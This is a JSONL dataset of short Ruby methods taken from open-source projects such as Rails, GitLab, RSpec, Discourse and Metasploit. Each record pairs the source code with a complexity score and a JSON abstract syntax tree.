{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":1585,"raw_source":"def test_html5_data_attributes_with_identical_attribute_values\n    assert_equal(\"<div data-x='50' data-y='50'></div>\\n\",\n      render(\"%div{:data => {:x => 50, :y => 50}}\"))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_html5_data_attributes_with_identical_attribute_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<div data-x='50' data-y='50'></div>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%div{:data => {:x => 50, :y => 50}}\"]}]}]}]}","id":"e38acb4e-8d6f-4872-b0ca-fa5773cf5dbe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/award_emojis/base_service.rb","start_line":14,"raw_source":"def execute_hooks(award_emoji, action)\n      return unless awardable.project&.has_active_hooks?(:emoji_hooks)\n\n      hook_data = Gitlab::DataBuilder::Emoji.build(award_emoji, current_user, action)\n      awardable.project.execute_hooks(hook_data, :emoji_hooks)\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_hooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"award_emoji\"]},{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"awardable\"]},\"project\"]},\"has_active_hooks?\",{\"type\":\"sym\",\"children\":[\"emoji_hooks\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"hook_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"DataBuilder\"]},\"Emoji\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"award_emoji\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"awardable\"]},\"project\"]},\"execute_hooks\",{\"type\":\"lvar\",\"children\":[\"hook_data\"]},{\"type\":\"sym\",\"children\":[\"emoji_hooks\"]}]}]}]}","id":"1f7c5e9b-0dbb-4cf3-a449-82f1d129c59c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/log4shell_scanner.rb","start_line":126,"raw_source":"def rand_text_alpha_lower_numeric(len, bad = '')\n    foo = []\n    foo += ('a'..'z').to_a\n    foo += ('0'..'9').to_a\n    Rex::Text.rand_base(len, bad, *foo)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rand_text_alpha_lower_numeric\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"len\"]},{\"type\":\"optarg\",\"children\":[\"bad\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"foo\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"foo\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"z\"]}]}]},\"to_a\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"foo\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"str\",\"children\":[\"0\"]},{\"type\":\"str\",\"children\":[\"9\"]}]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_base\",{\"type\":\"lvar\",\"children\":[\"len\"]},{\"type\":\"lvar\",\"children\":[\"bad\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foo\"]}]}]}]}]}","id":"6f94cac6-2212-41df-bdcb-fe8d30396ebe"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache/cached/recursive/association.rb","start_line":79,"raw_source":"def set_inverse(record, association_target)\n          return if association_target.nil?\n\n          associated_class = reflection.klass\n          inverse_cached_association = associated_class.cached_belongs_tos[inverse_name]\n          return unless inverse_cached_association\n\n          if association_target.is_a?(Array)\n            association_target.each do |child_record|\n              inverse_cached_association.write(child_record, record)\n            end\n          else\n            inverse_cached_association.write(association_target, record)\n          end\n        end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_inverse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"association_target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association_target\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"associated_class\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"klass\"]}]},{\"type\":\"lvasgn\",\"children\":[\"inverse_cached_association\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"associated_class\"]},\"cached_belongs_tos\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"inverse_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inverse_cached_association\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association_target\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association_target\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child_record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inverse_cached_association\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"child_record\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inverse_cached_association\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"association_target\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]}","id":"3134dac7-9102-403d-a243-e247ec737596"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/models/message_event.rb","start_line":164,"raw_source":"def self.build_from_hash(attributes)\n      new.build_from_hash(attributes)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_from_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"build_from_hash\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}","id":"dda6c2cc-07f7-4f9d-8822-910ec63d9af1"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/configuration.rb","start_line":2038,"raw_source":"def after(scope=nil, *meta, &block)\n        handle_suite_hook(scope, meta) do\n          @after_suite_hooks.unshift Hooks::AfterHook.new(block, {})\n        end || begin\n          # defeat Ruby 2.5 lazy proc allocation to ensure\n          # the methods below are passed the same proc instances\n          # so `Hook` equality is preserved. For more info, see:\n          # https://bugs.ruby-lang.org/issues/14045#note-5\n          block.__id__\n\n          add_hook_to_existing_matching_groups(meta, scope) { |g| g.after(scope, *meta, &block) }\n          super(scope, *meta, &block)\n        end\n      end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"after\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"scope\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"restarg\",\"children\":[\"meta\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_suite_hook\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"meta\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@after_suite_hooks\"]},\"unshift\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hooks\"]},\"AfterHook\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"__id__\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_hook_to_existing_matching_groups\",{\"type\":\"lvar\",\"children\":[\"meta\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"g\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g\"]},\"after\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meta\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meta\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}","id":"1ac598d2-b424-4815-99db-973f5ff9e1ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/commit_service.rb","start_line":183,"raw_source":"def list_last_commits_for_tree(revision, path, offset: 0, limit: 25, literal_pathspec: false)\n        request = Gitaly::ListLastCommitsForTreeRequest.new(\n          repository: @gitaly_repo,\n          revision: encode_binary(revision),\n          path: encode_binary(path.to_s),\n          offset: offset,\n          limit: limit,\n          global_options: parse_global_options!(literal_pathspec: literal_pathspec)\n        )\n\n        response = gitaly_client_call(@repository.storage, :commit_service, :list_last_commits_for_tree, request, timeout: GitalyClient.medium_timeout)\n\n        response.each_with_object({}) do |gitaly_response, hsh|\n          gitaly_response.commits.each do |commit_for_tree|\n            hsh[commit_for_tree.path_bytes] = Gitlab::Git::Commit.new(@repository, commit_for_tree.commit)\n          end\n        end\n      end","complexity_score":22.15,"ast_json":"{\"type\":\"def\",\"children\":[\"list_last_commits_for_tree\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"revision\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwoptarg\",\"children\":[\"offset\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"kwoptarg\",\"children\":[\"literal_pathspec\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"ListLastCommitsForTreeRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"revision\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"revision\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"to_s\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"global_options\"]},{\"type\":\"send\",\"children\":[null,\"parse_global_options!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"literal_pathspec\"]},{\"type\":\"lvar\",\"children\":[\"literal_pathspec\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"storage\"]},{\"type\":\"sym\",\"children\":[\"commit_service\"]},{\"type\":\"sym\",\"children\":[\"list_last_commits_for_tree\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"medium_timeout\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gitaly_response\"]},{\"type\":\"arg\",\"children\":[\"hsh\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitaly_response\"]},\"commits\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit_for_tree\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hsh\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_for_tree\"]},\"path_bytes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Commit\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_for_tree\"]},\"commit\"]}]}]}]}]}]}]}","id":"f481de64-fb72-4641-a425-443af0b2eda0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/spec/workers/cost_query/pdf/timesheet_generator_spec.rb","start_line":104,"raw_source":"def expected_starting_content\n    [query.name]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_starting_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"name\"]}]}]}","id":"ac7130c5-821c-414b-998e-68df8ca967fd"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":1133,"raw_source":"def allowed_clusters(_options = {})\n    all_clusters     = EmsCluster.where(:ems_id => get_source_and_targets[:ems].try(:id))\n    filtered_targets = process_filter(:cluster_filter, EmsCluster, all_clusters)\n    allowed_ci(:cluster, [:respool, :host, :folder], filtered_targets.collect(&:id))\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_clusters\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_clusters\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsCluster\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_source_and_targets\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ems\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filtered_targets\",{\"type\":\"send\",\"children\":[null,\"process_filter\",{\"type\":\"sym\",\"children\":[\"cluster_filter\"]},{\"type\":\"const\",\"children\":[null,\"EmsCluster\"]},{\"type\":\"lvar\",\"children\":[\"all_clusters\"]}]}]},{\"type\":\"send\",\"children\":[null,\"allowed_ci\",{\"type\":\"sym\",\"children\":[\"cluster\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"respool\"]},{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"sym\",\"children\":[\"folder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filtered_targets\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"05df8c63-e441-4173-9f48-e870a5d7b068"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb","start_line":51,"raw_source":"def rollback!\n        @children&.each { |c| c.rollback! }\n        @state = :rolledback\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"rollback!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@children\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"rollback!\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@state\",{\"type\":\"sym\",\"children\":[\"rolledback\"]}]}]}]}","id":"fbeb486a-5195-4183-b73e-1c1fdec3784d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/suggested_topics_mixin.rb","start_line":4,"raw_source":"def self.included(klass)\n    klass.attributes :related_messages\n    klass.attributes :suggested_topics\n    klass.attributes :suggested_group_name\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"attributes\",{\"type\":\"sym\",\"children\":[\"related_messages\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"attributes\",{\"type\":\"sym\",\"children\":[\"suggested_topics\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"attributes\",{\"type\":\"sym\",\"children\":[\"suggested_group_name\"]}]}]}]}","id":"290dbecd-e096-41bf-bcb9-2b1add46f303"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/family/memberships_controller.rb","start_line":38,"raw_source":"def destroy\n    authorize @membership\n\n    member_user = @membership.user\n    service = Families::Memberships::Destroy.new(user: current_user, member_to_remove: member_user)\n\n    if service.call\n      if member_user == current_user\n        redirect_to new_family_path, notice: 'You have left the family'\n      else\n        redirect_to family_path, notice: \"#{member_user.email} has been removed from the family\"\n      end\n    else\n      redirect_to family_path, alert: service.error_message || 'Failed to remove member'\n    end\n  end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@membership\"]}]},{\"type\":\"lvasgn\",\"children\":[\"member_user\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@membership\"]},\"user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Families\"]},\"Memberships\"]},\"Destroy\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"member_to_remove\"]},{\"type\":\"lvar\",\"children\":[\"member_user\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"call\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_user\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"new_family_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"str\",\"children\":[\"You have left the family\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"family_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_user\"]},\"email\"]}]},{\"type\":\"str\",\"children\":[\" has been removed from the family\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"family_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"error_message\"]},{\"type\":\"str\",\"children\":[\"Failed to remove member\"]}]}]}]}]}]}]}]}","id":"2a7173f3-63d6-410b-b563-7964c97f3184"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/script_permission.rb","start_line":55,"raw_source":"def autocorrect\n          FileUtils.chmod('+x', processed_source.file_path)\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"chmod\",{\"type\":\"str\",\"children\":[\"+x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"file_path\"]}]}]}","id":"c91b0da2-cb29-4ea6-90ed-fd9f9188e021"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/security/dast_variables.rb","start_line":692,"raw_source":"def self.additional_site_variables\n        data[:site].merge(data[:scanner]).filter { |_, variable| variable[:additional] }\n      end","complexity_score":10.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"additional_site_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"site\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scanner\"]}]}]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"variable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"additional\"]}]}]}]}","id":"c81c4570-3518-469a-b437-cee090c5e980"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20240603143820_add_content_preferences_to_users_settings.rb","start_line":2,"raw_source":"def change\n    add_column :users_settings, :content_preferences_input, :text\n    add_column :users_settings, :content_preferences_updated_at, :datetime\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users_settings\"]},{\"type\":\"sym\",\"children\":[\"content_preferences_input\"]},{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users_settings\"]},{\"type\":\"sym\",\"children\":[\"content_preferences_updated_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]}]}]}]}","id":"10a02d6d-3eda-414b-b76e-dac5ce346e29"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/bind_parameter_test.rb","start_line":32,"raw_source":"def test_where_with_rational_for_string_column_using_bind_parameters\n          assert_quoted_as \"0/1\", Rational(0)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_where_with_rational_for_string_column_using_bind_parameters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_quoted_as\",{\"type\":\"str\",\"children\":[\"0/1\"]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"9c32ac00-d55a-43a3-9015-746ddf8b9bb8"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/models/spree/admin/form_builder.rb","start_line":102,"raw_source":"def spree_text_area(method, options = {})\n        @template.content_tag(:div, class: 'form-group') do\n          options[:class] ||= 'form-control'\n          options[:rows] ||= 5\n          options[:data] ||= { controller: 'textarea-autogrow' }\n\n          @template.label(@object_name, method, get_label(method, options)) +\n            @template.text_area(@object_name, method, objectify_options(options)) +\n            @template.error_message_on(@object_name, method) + field_help(method, options)\n        end\n      end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"spree_text_area\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"content_tag\",{\"type\":\"sym\",\"children\":[\"div\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"form-group\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]},{\"type\":\"str\",\"children\":[\"form-control\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rows\"]}]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"textarea-autogrow\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"label\",{\"type\":\"ivar\",\"children\":[\"@object_name\"]},{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[null,\"get_label\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"text_area\",{\"type\":\"ivar\",\"children\":[\"@object_name\"]},{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[null,\"objectify_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"error_message_on\",{\"type\":\"ivar\",\"children\":[\"@object_name\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"field_help\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"e1313407-8e59-4b34-82d7-b7a59754df45"}
